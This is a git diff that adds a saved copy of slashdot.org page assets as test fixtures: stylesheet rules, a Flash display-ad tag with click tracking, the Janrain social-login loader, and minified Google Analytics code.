+background-position: -133px -39px;
+width:18px;
+height:18px;
+display:inline-block;
+text-indent:-99999px;
+overflow:hidden;
+}
+
+.tops {
+color:rgba(255,255,255,.75);
+font-size:.85em;
+}
+
+.tops > a {
+text-decoration:underline;
+color:rgba(255,255,255,1);
+}
+
+h4 .selected {
+background: white;
+border-radius: 5px 5px 0 0;
+-moz-border-radius: 5px 5px 0 0;
+-webkit-border-radius: 5px 5px 0 0;
+margin: -2px 0 -0.5em .75em;
+padding-left: 0.5em;
+padding-right: 0.5em;
+box-shadow: 0px -2px 1px rgba(0,0,0,.9);
+-webkit-box-shadow: 0px -2px 1px rgba(0,0,0,.9);
+-moz-box-shadow: 0px -2px 1px rgba(0,0,0,.9);
+color:#111 !important;
+font-weight:normal;
+display: inline-block;
+line-height: 2em;
+}
+
+.tops .selected {
+padding-bottom: .5em;
+margin:0;
+}
+
+#clickgen ul.nobullets {
+padding:1em;
+}
+
+.cmntcnt_large .slant {
+position: absolute;
+-webkit-transform: rotate(-45deg);
+-moz-transform: rotate(-45deg);
+-o-transform: rotate(-45deg);
+-ms-transform: rotate(-45deg);
+transform: rotate(-45deg);
+height: 20px; width: 20px;
+display: block;
+float: left;
+background: rgba(0,0,0,1);
+left:60px;
+border:0;
+padding:0;
+margin:0;
+}
+
+.cmntcnt_large .slant {
+left: 18px !important;
+bottom: -1px !important;
+top: auto;
+width: 6px;
+height: 6px;
+}
+
+.cmntcnt_large > span:not(.slant) {
+z-index: 1;
+position: relative;
+text-decoration: none;
+padding: 0px 4px;
+color: #fff;
+border-radius: 10px;
+-moz-border-radius: 10px;
+-webkit-border-radius: 10px;
+-o-border-radius: 10px;
+background-color: rgba(0,0,0,1);
+font-size: .75em;
+display: inline-block;
+width: 34px;
+text-align: center;
+letter-spacing: -1px;
+text-indent:-2px;
+}
+
+.cmntcnt_large {
+position: relative;
+margin: 0;
+display: inline !important;
+font-size:1.5em;
+}
+
+.a .cmntcnt_large,
+.c .cmntcnt_large {
+margin-left:1.25em;
+}
+
+#clickgen img {
+height:36px;
+width:36px;
+}
+
+
+#clickgen.b img {
+margin-top:2em;
+}
+
+#randrobot p {
+padding:0 .5em 0 .5em;
+}
+
+#clickgen aside.st .comments {
+margin-top:20px;
+}
+
+#clickgen .tlnav {
+background: #cccccc;
+display: inline-block;
+width: auto;
+text-transform: uppercase;
+font-size: .85em;
+padding:.25em .75em;
+margin:0;
+position:absolute;
+border-radius:0 0 .4em 0;
+-moz-border-radius:0 0 .4em 0;
+-webkit-border-radius:0 0 .4em 0;
+left:0;
+}
+
+#clickgen .tlnav a {
+color:#ffffff;
+}
+
+#clickgen .st > .f {
+border-bottom: 0;
+}
+
+#clickgen .st > section {
+height:90px;
+}
+
+#clickgen.b .f > div {
+margin-top: 0;
+height:181px;
+position:relative
+}
+
+#clickgen .st div p a {
+font-size:1.05em;
+text-decoration:underline;
+}
+
+#clickgen .st div p {
+padding-top:.5em;
+}
+
+#clickgen.b .st div {
+position: relative;}
+
+.btn.link.slashtvico {
+position: relative;
+display: inline;
+overflow: visible;
+margin-top: -3px;
+width:36px;
+}
+
+.btn.link.slashtvico > span {
+height: 30px;
+display: inline-block;
+position: absolute;
+background:transparent url(//a.fsdn.com/sd/menu_slashtv2.png) no-repeat 0 0;
+text-indent: -999999px;
+width: 36px;
+left:0;
+}
+
+/*Job board*/
+#jobBoardHeader{
+ background-color:rgb(0,102,102);
+ height:175px;
+ text-align: center;
+}
+#jobBoardHeader h1{
+ font-family:Helvetica, sans-serif;
+ font-size:30px;
+ font-weight:bold;
+ color: #fff;
+ text-shadow:1px 1px 2px rgba(0,0,0,0.4);
+ padding-top:15px;
+}
+#jobBoardHeader fieldset{
+ background-color:rgb(0,66,66);
+ width:542px;
+ height:38px;
+ padding: 10px;
+ border-radius:3px;
+ box-shadow:inset 1px 1px 2px rgba(0,0,0,0.65);
+ margin: 0 auto;
+ border-color:rgb(0,102,102);
+}
+#jobBoardHeader input[type=text]{
+ background-color:rgb(255,255,255);
+ height:35px;
+ border-color:rgb(17,17,17);
+ border-width:1px;
+ border-radius:4px;
+ border-style:solid;
+ box-shadow:inset 2px 2px 4px rgba(0,0,0,0.4);
+ min-width: 0;
+ padding: 0 5px;
+ margin-right: 10px;
+}
+#jobBoardHeader input[type=submit]{
+ background-image:-webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(0,127,127)), to(rgb(0,106,106))) !important;
+ width:116px;
+ height:37px;
+ border-color:rgb(0,66,66);
+ border-width:1px;
+ border-radius:4px;
+ border-style:solid;
+ box-shadow:1px 1px 2px rgba(0,0,0,0.2);
+ font-size:15px;
+ font-weight:bold;
+ text-shadow: none;
+ color: #fff !important;
+}
+#jobBoardBody{
+ padding:20px;
+ margin-right: 233px;
+}
+#jobBoardBody thead tr{
+ border:none;
+}
+#jobBoardBody thead tr th{
+ color: #fff;
+ text-shadow: none;
+ padding: 10px;
+ background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#666), to(#444));
+ background-image: -moz-linear-gradient(100% 100% 90deg, #444, #666 100%);
+ background-image: -o-linear-gradient(top, #666,#444 100%);
+}
+#jobBoardBody thead th:first-child {
+ border-top-left-radius:4px
+}
+
+#jobBoardBody thead th:last-child {
+ border-top-right-radius:4px
+}
+#jobBoardBody tbody tr{
+ border: 1px solid rgb(190,190,190);
+ border-width: 0 1px 0 1px;
+}
+#jobBoardBody tbody tr:last-child{
+ border-bottom-width: 1px;
+}
+#jobBoardBody tbody tr:first-child {
+ background-color: #fff;
+}
+#jobBoardBody tbody tr:nth-child(even) {
+ background-color: #eee;
+}
+#jobBoardBody tbody td.no_results{
+ text-align: center;
+ font-weight: bold;
+}
+#jobBoardBody tbody td.post_date{
+ padding-right: 1px;
+}
+#jobBoardBanner{
+ float: right;
+ width: 213px;
+ margin: 13px 20px 10px 10px;
+}
+#jobBoardBanner .poweredBy{
+ font-weight: bold;
+ vertical-align: top;
+ margin-top: 10px;
+ text-align: right;
+}
+body.job_board form.dice_job_search_form{
+ overflow: auto;
+}
+#page_display {
+ float: right;
+}
+#item_count {
+ padding-right: 50px;
+}
diff --git a/src/test/resources/s/slashdot.org_files/crime_64.png b/src/test/resources/s/slashdot.org_files/crime_64.png
new file mode 100644
index 0000000..1715fb6
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/crime_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/direct;vt.1;wi.300 b/src/test/resources/s/slashdot.org_files/direct;vt.1;wi.300
new file mode 100644
index 0000000..6e7c566
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/direct;vt.1;wi.300
@@ -0,0 +1,126 @@
+document.write("<meta HTTP-EQUIV='expires' CONTENT='0'></meta>");
+document.write("<meta HTTP-EQUIV='Pragma' CONTENT='no-cache'></meta>");
+
+var nRequiredVersion = 8;
+var bIsRightVersion = false;
+var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
+var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
+var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
+if(isIE && isWin){
+document.writeln('<SCR' + 'IPT LANGUAGE=VBScript\>');
+document.writeln('on error resume next');
+document.writeln('Set oFlashPlayer = CreateObject("ShockwaveFlash.ShockwaveFlash." & nRequiredVersion)');
+document.writeln('If IsObject(oFlashPlayer) Then');
+document.writeln('bIsRightVersion = True');
+document.writeln('End If');
+document.writeln('If (Not bIsRightVersion) And (nRequiredVersion < 3) Then');
+document.writeln('Set oFlashPlayer = CreateObject("ShockwaveFlash.ShockwaveFlash")');
+document.writeln('If IsObject(oFlashPlayer) Then');
+document.writeln('bIsRightVersion = True');
+document.writeln('End If');
+document.writeln('End If');
+document.writeln('</SCR' + 'IPT\>');
+}
+
+function detectPluginWDS7006318782127()
+{
+ if (!bIsRightVersion)
+ {
+ if (navigator.plugins != null && navigator.plugins.length > 0)
+ {
+ if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"])
+ {
+ var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
+ var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
+ var descArray = flashDescription.split(" ");
+ var tempArrayMajor = descArray[2].split(".");
+ var versionMajor = tempArrayMajor[0];
+ bIsRightVersion = (versionMajor >= nRequiredVersion);
+ }
+ }
+ else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1)
+ {
+ bIsRightVersion = (4 >= nRequiredVersion);
+ }
+ else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1)
+ {
+ bIsRightVersion = (3 >= nRequiredVersion);
+ }
+ else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1)
+ {
+ bIsRightVersion = (2 >= nRequiredVersion);
+ }
+ }
+}
+
+detectPluginWDS7006318782127();
+var _WDS7006318782127_Instance =
+{
+ click : "http://ad.doubleclick.net/click%3Bh%3Dv8/3d75/3/0/%2a/g%3B266254990%3B0-0%3B4%3B47077323%3B4986-300/600%3B51985928/51946686/1%3Bu%3D%3B%7Eokv%3D%3Bpg%3Dindex2%3Blogged_in%3D0%3Btile%3D4%3Bsz%3D300x250%2C300x600%3Bu%3D%3B%7Esscs%3D%3f",
+ clickThruUrl: "http://clk.atdmt.com/go/429767135/direct;vt.1;wi.300;hi.600;ai.299181241;ct.$num$/01/",
+ imgs : []
+};
+if (!window.armapi_a1_a1)
+{
+var armapi_a1_a1 =
+{
+initialize : function(unique_id){},
+click : function(unique_id, num, suffix)
+{
+this.clickTrack(unique_id);
+this.clickThru(unique_id, num, suffix);
+},
+clickTrack : function(unique_id, num)
+{
+var instance = window[unique_id + "_Instance"];
+if (instance.click != "")
+{
+var img = new Image();
+img.src = instance.click + "http://t.atdmt.com";
+instance.imgs.push(img);
+}
+},
+clickThru : function(unique_id, num, suffix) {
+ var instance = window[unique_id + "_Instance"];
+ var url = instance.clickThruUrl.replace("$num$", num) + suffix;
+ window.open(url, "_blank");
+}
+};
+}
+
+var armapi_ArmClickType = isIE ? "ext" : "";
+
+var _strContentWDS7006318782127 = '';
+if(bIsRightVersion)
+{
+var strFQDN = "HTTP://spe.atdmt.com/ds/NMMRTSMGUWDS/";
+var index = strFQDN.indexOf("/ds/");
+strFQDN = strFQDN.substring(0, index);
+_strContentWDS7006318782127 = '' + '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="HTTP://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" id="idSWFWDS7006318782127" width="300" height="600">'
++ '<param name="movie" value="HTTP://spe.atdmt.com/ds/NMMRTSMGUWDS/121022_win8dev/Win8Dev_allrecipe_GS_300x600.swf?ver=1&clickTag1=!~!click!~!http://clk.atdmt.com/go/429767135/direct;vt.1;wi.300;hi.600;ai.299181241;ct.1/01&clickTag=!~!click!~!http://clk.atdmt.com/go/429767135/direct;vt.1;wi.300;hi.600;ai.299181241;ct.1/01" />'
++ '<param name="base" value="HTTP://spe.atdmt.com/ds/NMMRTSMGUWDS/121022_win8dev/" />'
++ '<param name="FlashVars" value="ArmClickType='+ armapi_ArmClickType + '&unique_id=_WDS7006318782127&ArmApi=armapi_a1_a1&ArmClickUrl=http://clk.atdmt.com/go/429767135/direct;vt.1;wi.300;hi.600;ai.299181241;ct.$num$/01/&ArmClickToken=$num$" />'
++ '<param name="quality" value="high" />'
++ '<param name="salign" value="lt" />'
++ '<param name="loop" value="true" />'
++ '<param name="wmode" value="opaque" />'
++ '<param name="allowScriptAccess" value="always" />'
++ '<embed allowScriptAccess="always" quality="high" salign="LT" loop="true" type="application/x-shockwave-flash" pluginspace="HTTP://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" base="HTTP://spe.atdmt.com/ds/NMMRTSMGUWDS/121022_win8dev/" wmode="opaque" src="HTTP://spe.atdmt.com/ds/NMMRTSMGUWDS/121022_win8dev/Win8Dev_allrecipe_GS_300x600.swf?ver=1&clickTag1=!~!click!~!http://clk.atdmt.com/go/429767135/direct;vt.1;wi.300;hi.600;ai.299181241;ct.1/01&click [...]
++ '</object>'
++ '';
+
+if ( "%OOB%" == "1" )
+ _strContentWDS7006318782127 = _strContentWDS7006318782127.replace(/!~!click!~!/g,'');
+else
+ _strContentWDS7006318782127 = _strContentWDS7006318782127.replace(/!~!click!~!/g,'http://ad.doubleclick.net/click%3Bh%3Dv8/3d75/3/0/%2a/g%3B266254990%3B0-0%3B4%3B47077323%3B4986-300/600%3B51985928/51946686/1%3Bu%3D%3B%7Eokv%3D%3Bpg%3Dindex2%3Blogged_in%3D0%3Btile%3D4%3Bsz%3D300x250%2C300x600%3Bu%3D%3B%7Esscs%3D%3f');
+
+}
+else
+{
+_strContentWDS7006318782127 = '<a target="_blank" href="http://clk.atdmt.com/go/429767135/direct;vt.1;wi.300;hi.600;ai.299181241;ct.1/01/" onclick="if(\'http://ad.doubleclick.net/click%3Bh%3Dv8/3d75/3/0/%2a/g%3B266254990%3B0-0%3B4%3B47077323%3B4986-300/600%3B51985928/51946686/1%3Bu%3D%3B%7Eokv%3D%3Bpg%3Dindex2%3Blogged_in%3D0%3Btile%3D4%3Bsz%3D300x250%2C300x600%3Bu%3D%3B%7Esscs%3D%3f\')(new Image).src=\'http://ad.doubleclick.net/click%3Bh%3Dv8/3d75/3/0/%2a/g%3B266254990%3B0-0%3B4%3B47077 [...]
+}
+document.write(_strContentWDS7006318782127);
+
+if("0" == "1"){document.write('<scr' + 'ipt type="text/javascript" src="HTTP://spe.atdmt.com/ds/Ad.autoLoad.js?plugin=AdChoices"></scr' + 'ipt>');}
+
+document.write('<script src="http://ace.adoftheyear.com/p13297/tagger_v04.php?project=p13297&tag=1a&channel=[sid=429767135|cid=299181241|]"></script>');
diff --git a/src/test/resources/s/slashdot.org_files/engage.js b/src/test/resources/s/slashdot.org_files/engage.js
new file mode 100644
index 0000000..026c556
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/engage.js
@@ -0,0 +1,217 @@
+(function() {
+ if (typeof window.janrain.engage !== "object") window.janrain.engage = {};
+ if (!janrain.settings.capture) janrain.settings.capture = {};
+ if (!janrain.settings.common) janrain.settings.common = {};
+ if (!janrain.settings.language) janrain.settings.language = 'en';
+ //if (!janrain.settings.providers) janrain.settings.providers = ["aol","google","yahoo","openid"];
+ if (!janrain.settings.packages) {
+ janrain.settings.packages = ['login'];
+ } else {
+ if (janrain.settings.tokenUrl) janrain.settings.packages.push('login');
+ }
+ if (!janrain.settings.publish) janrain.settings.publish = {};
+ if (!janrain.settings.share) janrain.settings.share = {};
+ if (!janrain.settings.simpleshare) janrain.settings.simpleshare = {};
+ if (!janrain.loadedPackages) janrain.loadedPackages = [];
+ if (!janrain.settings.linkClass) janrain.settings.linkClass = 'janrainEngage';
+
+ if (typeof janrain.settings.common.appUrl === 'undefined')janrain.settings.common.appUrl = 'https://login.slashdot.org';
+
+ if (typeof janrain.settings.showAttribution === 'undefined')janrain.settings.showAttribution = false;
+ if (typeof janrain.settings.type === 'undefined')janrain.settings.type = 'embed';
+ if (typeof janrain.settings.format === 'undefined')janrain.settings.format = 'one column';
+ if (typeof janrain.settings.width === 'undefined')janrain.settings.width = '308';
+ if (typeof janrain.settings.providersPerPage === 'undefined')janrain.settings.providersPerPage = '3';
+ if (!janrain.settings.actionText)janrain.settings.actionText = 'Sign in using your account with';
+ if (typeof janrain.settings.fontColor === 'undefined')janrain.settings.fontColor = '#666666';
+ if (typeof janrain.settings.fontFamily === 'undefined')janrain.settings.fontFamily = 'lucida grande, Helvetica, Verdana, sans-serif';
+ if (typeof janrain.settings.backgroundColor === 'undefined')janrain.settings.backgroundColor = '#ffffff';
+ if (typeof janrain.settings.buttonBorderColor === 'undefined')janrain.settings.buttonBorderColor = '#CCCCCC';
+ if (typeof janrain.settings.buttonBorderRadius === 'undefined')janrain.settings.buttonBorderRadius = '5';
+ if (typeof janrain.settings.buttonBackgroundStyle === 'undefined')janrain.settings.buttonBackgroundStyle = 'gradient';
+ if (typeof janrain.settings.borderWidth === 'undefined')janrain.settings.borderWidth = '15';
+ if (typeof janrain.settings.borderColor === 'undefined')janrain.settings.borderColor = '#C0C0C0';
+ if (typeof janrain.settings.borderRadius === 'undefined')janrain.settings.borderRadius = '5';
+ if (typeof janrain.settings.appId === 'undefined')janrain.settings.appId = 'ggidemlconlmjciiohla';
+ if (typeof janrain.settings.appUrl === 'undefined')janrain.settings.appUrl = 'https://login.slashdot.org';
+ janrain.settings.permissions = ["customizable_auth_widget_hide_attribution","customizable_auth_widget_styling"];
+ if (typeof janrain.settings.providers === 'undefined')janrain.settings.providers = ["google","twitter","facebook"];
+ if (typeof janrain.settings.noReturnExperience === 'undefined')janrain.settings.noReturnExperience = false;
+ if (typeof janrain.settings.facebookAppId === 'undefined')janrain.settings.facebookAppId = '289506211170358';
+
+ if (typeof janrain.settings.share.attributionDisplay === 'undefined')janrain.settings.share.attributionDisplay = true;
+ if (typeof janrain.settings.share.elementColor === 'undefined')janrain.settings.share.elementColor = '#333333';
+ if (typeof janrain.settings.share.elementHoverBackgroundColor === 'undefined')janrain.settings.share.elementHoverBackgroundColor = '#eeeeee';
+ if (typeof janrain.settings.share.elementButtonBorderRadius === 'undefined')janrain.settings.share.elementButtonBorderRadius = '6';
+ if (typeof janrain.settings.share.elementBorderColor === 'undefined')janrain.settings.share.elementBorderColor = '#cccccc';
+ if (typeof janrain.settings.share.elementBackgroundColor === 'undefined')janrain.settings.share.elementBackgroundColor = '#f6f6f6';
+ if (typeof janrain.settings.share.elementLinkColor === 'undefined')janrain.settings.share.elementLinkColor = '#009DDC';
+ if (typeof janrain.settings.share.elementBorderRadius === 'undefined')janrain.settings.share.elementBorderRadius = '3';
+ if (typeof janrain.settings.share.elementButtonBoxShadow === 'undefined')janrain.settings.share.elementButtonBoxShadow = '3';
+ if (typeof janrain.settings.share.modalOpacity === 'undefined')janrain.settings.share.modalOpacity = '0.5';
+ if (typeof janrain.settings.share.modalBorderRadius === 'undefined')janrain.settings.share.modalBorderRadius = '5';
+ if (typeof janrain.settings.share.bodyColor === 'undefined')janrain.settings.share.bodyColor = '#333333';
+ if (typeof janrain.settings.share.bodyTabBackgroundColor === 'undefined')janrain.settings.share.bodyTabBackgroundColor = '#f8f8f8';
+ if (typeof janrain.settings.share.bodyTabColor === 'undefined')janrain.settings.share.bodyTabColor = '#000000';
+ if (typeof janrain.settings.share.bodyContentBackgroundColor === 'undefined')janrain.settings.share.bodyContentBackgroundColor = '#ffffff';
+ if (typeof janrain.settings.share.bodyBackgroundColorOverride === 'undefined')janrain.settings.share.bodyBackgroundColorOverride = false;
+ if (typeof janrain.settings.share.bodyFontFamily === 'undefined')janrain.settings.share.bodyFontFamily = 'Helvetica';
+ if (typeof janrain.settings.share.bodyBackgroundColor === 'undefined')janrain.settings.share.bodyBackgroundColor = '#009DDC';
+ if (typeof janrain.settings.share.modalBackgroundColor === 'undefined')janrain.settings.share.modalBackgroundColor = '#000000';
+ if (typeof janrain.settings.share.appUrl === 'undefined')janrain.settings.share.appUrl = 'https://login.slashdot.org';
+ janrain.settings.share.permissions = ["customizable_share_widget_hide_attribution","customizable_share_widget_styling","customizable_share_widget_contact_mode"];
+ if (typeof janrain.settings.share.providers === 'undefined')janrain.settings.share.providers = [];
+ if (typeof janrain.settings.share.providersEmail === 'undefined')janrain.settings.share.providersEmail = [];
+ if (typeof janrain.settings.share.modes === 'undefined')janrain.settings.share.modes = ["broadcast"];
+
+
+
+ /*
+* _scriptLoader
+*
+* Loads script dynamically and allows for callbacks and a timeout.
+*
+* @return {Object} Public methods for _loadDyanmicScript
+* @private
+*/
+function _scriptLoader(src, callback) {
+ var _callback = callback,
+ _timeout = 200,
+ _useTimeout = false,
+ _timeoutCallback,
+ _pollCount = 0,
+ _pollTimeout,
+ _script = document.createElement('script'),
+ _firstScript = document.getElementsByTagName('script')[0],
+ _finished = false;
+
+ _script.src = src;
+ _script.setAttribute('type', 'text/javascript');
+
+ _script.onload = _script.onerror = _script.onreadystatechange = function(event) {
+ if (!_finished && (!this.readyState || this.readyState === "loaded" || this.readyState === "complete")) {
+ _finish(event);
+ }
+ }
+
+ function _load() {
+ _firstScript.parentNode.insertBefore(_script, _firstScript);
+ if (_useTimeout) _pollLoad();
+ }
+
+ function _finish(event) {
+ _finished = true;
+ if (typeof _pollTimeout !== 'undefined') {
+ clearTimeout(_pollTimeout);
+ }
+ // event is a string when loading a script fails for any reason.
+ if (typeof event === 'string') {
+ if (typeof _timeoutCallback === 'function') _timeoutCallback(event);
+ return true;
+ }
+ if (typeof event === 'object' || typeof event === 'undefined') {
+ if (typeof event === 'object' && event.type === 'error') {
+ if (typeof _timeoutCallback === 'function') _timeoutCallback(event);
+ } else {
+ if (typeof _callback === 'function') _callback();
+ }
+ return true;
+ }
+ }
+
+ function _pollLoad() {
+ _pollCount++;
+ if (_finished) return true;
+ if (_pollCount < _timeout) {
+ _pollTimeout = setTimeout(_pollLoad, 50);
+ } else {
+ _finish("Load Timeout Error");
+ }
+ }
+
+ return {
+ setTimeoutCallback: function(callback) {
+ _useTimeout = true;
+ _timeoutCallback = callback;
+ return this;
+ },
+ setCallback: function(callback) {
+ _callback = callback;
+ return this;
+ },
+ setTimeoutLimit: function(time) {
+ _timeout = time;
+ return this;
+ },
+ load: function() {
+ _load();
+ }
+ }
+}
+
+function _loadDynamicScript(src, callback) {
+ _scriptLoader(src, callback).load();
+}
+
+ function getPackagePath(packages) {
+ var rootPath = document.location.protocol === 'https:' ? "https://d29usylhdk1xyu.cloudfront.net/" : "http://widget-cdn.rpxnow.com/";
+ var path = rootPath + 'manifest/' + packages.join(':') + '?version=' + encodeURIComponent('2013.1_ws_widgets_rc8');
+ return path;
+ }
+ function getTranslationPath(language, widget) {
+ var rootPath = document.location.protocol === 'https:' ? "https://d29usylhdk1xyu.cloudfront.net/" : "http://widget-cdn.rpxnow.com/";
+ var path = rootPath + 'translations/' + widget + '/' + language;
+ return path;
+ }
+ function loadPackages(loaded, packages) {
+ if (packages.length === 0) return false;
+ if (loaded === packages.length) {
+ var widgetPath = getPackagePath(packages);
+ _loadDynamicScript(widgetPath);
+ } else {
+ if (!inArray(janrain.loadedPackages, packages[loaded])) {
+ janrain.loadedPackages.push(packages[loaded]);
+ if ((packages[loaded] === "login"&& janrain.settings.language === "en")
+ || packages[loaded] === "capture"
+ || packages[loaded] === "simpleshare") {
+ loadPackages(loaded + 1, packages);
+ } else {
+ _loadDynamicScript(getTranslationPath(janrain.settings.language, packages[loaded]), function() {
+ loadPackages(loaded + 1, packages);
+ });
+ }
+ } else {
+ deleteItemFromArray(packages, loaded);
+ loadPackages(loaded, packages);
+ }
+ }
+ }
+ function arrayToObject(array) {
+ var uniqueObject = {};
+ for (var i = 0, l = array.length; i < l; i++) {
+ uniqueObject[array[i]] = array[i];
+ }
+ return uniqueObject;
+ }
+ function deleteItemFromArray(array, from, to) {
+ var rest = array.slice((to || from) + 1 || array.length);
+ array.length = from < 0 ? array.length + from : from;
+ return array.push.apply(array, rest);
+ }
+ function inArray(array, item) {
+ var arrayObject = arrayToObject(array);
+ return arrayObject.hasOwnProperty(item);
+ }
+ function unique(array){
+ var uniqueObject = arrayToObject(array);
+ var unique = [];
+ for (var key in uniqueObject){
+ if (uniqueObject.hasOwnProperty(key)) unique.push(key);
+ }
+ return unique;
+ }
+
+ janrain.settings.packages = unique(janrain.settings.packages);
+ janrain.settings.packages.sort();
+ loadPackages(0, janrain.settings.packages);
+})();
diff --git a/src/test/resources/s/slashdot.org_files/facebook_64.png b/src/test/resources/s/slashdot.org_files/facebook_64.png
new file mode 100644
index 0000000..6b957d6
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/facebook_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/ga.js b/src/test/resources/s/slashdot.org_files/ga.js
new file mode 100644
index 0000000..f965547
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/ga.js
@@ -0,0 +1,59 @@
+(function(){var g=void 0,h=!0,j=null,l=!1,aa=encodeURIComponent,ba=Infinity,ca=setTimeout,n=Math,da=decodeURIComponent;function ea(a,b){return a.name=b}
+var p="push",fa="test",ia="slice",q="replace",ja="load",ka="floor",la="charAt",ma="value",r="indexOf",na="match",oa="port",pa="createElement",qa="path",s="name",v="host",w="toString",x="length",y="prototype",ra="clientWidth",z="split",sa="stopPropagation",ta="scope",A="location",ua="search",B="protocol",va="clientHeight",wa="href",C="substring",xa="apply",ya="navigator",D="join",E="toLowerCase",F;function za(a,b){switch(b){case 0:return""+a;case 1:return 1*a;case 2:return!!a;case 3:retur [...]
+function H(a,b){if(aa instanceof Function)return b?encodeURI(a):aa(a);I(68);return escape(a)}function J(a){a=a[z]("+")[D](" ");if(da instanceof Function)try{return da(a)}catch(b){I(17)}else I(68);return unescape(a)}var Fa=function(a,b,c,d){a.addEventListener?a.addEventListener(b,c,!!d):a.attachEvent&&a.attachEvent("on"+b,c)},Ga=function(a,b,c,d){a.removeEventListener?a.removeEventListener(b,c,!!d):a.detachEvent&&a.detachEvent("on"+b,c)};
+function Ha(a,b){if(a){var c=K[pa]("script");c.type="text/javascript";c.async=h;c.src=a;c.id=b;var d=K.getElementsByTagName("script")[0];d.parentNode.insertBefore(c,d);return c}}function L(a){return a&&0<a[x]?a[0]:""}function Ia(a){var b=a?a[x]:0;return 0<b?a[b-1]:""}var Ja=function(){this.prefix="ga.";this.R={}};Ja[y].set=function(a,b){this.R[this.prefix+a]=b};Ja[y].get=function(a){return this.R[this.prefix+a]};Ja[y].contains=function(a){return this.get(a)!==g};function Ka(a){0==a[r]("w [...]
+function Oa(a,b){function c(a){var b=(a.hostname||"")[z](":")[0][E](),c=(a[B]||"")[E](),c=1*a[oa]||("http:"==c?80:"https:"==c?443:"");a=a.pathname||"";0==a[r]("/")||(a="/"+a);return[b,""+c,a]}var d=b||K[pa]("a");d.href=K[A][wa];var e=(d[B]||"")[E](),f=c(d),k=d[ua]||"",m=e+"//"+f[0]+(f[1]?":"+f[1]:"");0==a[r]("//")?a=e+a:0==a[r]("/")?a=m+a:!a||0==a[r]("?")?a=m+f[2]+(a||k):0>a[z]("/")[0][r](":")&&(a=m+f[2][C](0,f[2].lastIndexOf("/"))+"/"+a);d.href=a;e=c(d);return{protocol:(d[B]||"")[E](),h [...]
+port:e[1],path:e[2],Oa:d[ua]||"",url:a||""}}function Ma(a,b){function c(b,c){a.contains(b)||a.set(b,[]);a.get(b)[p](c)}for(var d=Ca(b)[z]("&"),e=0;e<d[x];e++)if(d[e]){var f=d[e][r]("=");0>f?c(d[e],"1"):c(d[e][C](0,f),d[e][C](f+1))}}function Pa(a,b){if(G(a)||"["==a[la](0)&&"]"==a[la](a[x]-1))return"-";var c=K.domain;return a[r](c+(b&&"/"!=b?b:""))==(0==a[r]("http://")?7:0==a[r]("https://")?8:0)?"0":a};var Qa=0;function Ra(a,b,c){!(1<=Qa)&&!(1<=100*n.random())&&(a=["utmt=error","utmerr="+a [...]
+var Wa=N(),Xa=Va("anonymizeIp"),Ya=N(),$a=N(),ab=N(),bb=N(),O=N(),P=N(),cb=N(),db=N(),eb=N(),fb=N(),gb=N(),hb=N(),ib=N(),jb=N(),kb=N(),lb=N(),nb=N(),ob=N(),pb=N(),qb=N(),rb=N(),sb=N(),tb=N(),ub=N(),vb=N(),wb=N(),xb=N(),yb=N(),zb=N(),Ab=N(),Bb=N(),Cb=N(),Db=N(),Eb=N(),Fb=N(h),Gb=Va("currencyCode"),Hb=Va("page"),Ib=Va("title"),Jb=N(),Kb=N(),Lb=N(),Mb=N(),Nb=N(),Ob=N(),Pb=N(),Qb=N(),Rb=N(),Q=N(h),Sb=N(h),Tb=N(h),Ub=N(h),Vb=N(h),Wb=N(h),Zb=N(h),$b=N(h),ac=N(h),bc=N(h),cc=N(h),R=N(h),dc=N(h), [...]
+N(h),gc=N(h),hc=N(h),ic=N(h),jc=N(h),S=N(h),kc=N(h),lc=N(h),mc=N(h),nc=N(h),oc=N(h),pc=N(h),qc=N(h),rc=Va("campaignParams"),sc=N(),tc=Va("hitCallback"),uc=N();N();var vc=N(),wc=N(),xc=N(),yc=N(),zc=N(),Ac=N(),Bc=N(),Cc=N(),Dc=N(),Ec=N(),Fc=N(),Gc=N(),Hc=N(),Ic=N();N();var Mc=N(),Nc=N(),Oc=N();function Pc(a){var b=this.plugins_;if(b)return b.get(a)}var T=function(a,b,c,d){a[b]=function(){try{return d!=g&&I(d),c[xa](this,arguments)}catch(a){throw Ra("exc",b,a&&a[s]),a;}}},Qc=function(a,b,c [...]
+function(c,d,e){Ua[c]&&this[ja]();e?b[c]=d:a[c]=d;Ua[c]&&this.n()};this.z=function(b){a[b]=this.b(b,0)+1};this.b=function(a,b){var c=this.get(a);return c==g||""===c?b:1*c};this.c=function(a,b){var c=this.get(a);return c==g?b:c+""};this.Ka=function(){if(k){var b=this.c(bb,""),c=this.c(P,"/");Sc(b,c)||(a[O]=a[hb]&&""!=b?Yc(b):1,k=l)}}};Zc[y].stopPropagation=function(){throw"aborted";};
+var Vc=function(a){var b=this;this.q=0;var c=a.get(tc);this.Ua=function(){0<b.q&&c&&(b.q--,b.q||c())};this.Ja=function(){!b.q&&c&&ca(c,10)};a.set(uc,b,h)};function $c(a,b){b=b||[];for(var c=0;c<b[x];c++){var d=b[c];if(""+a==d||0==d[r](a+"."))return d}return"-"}
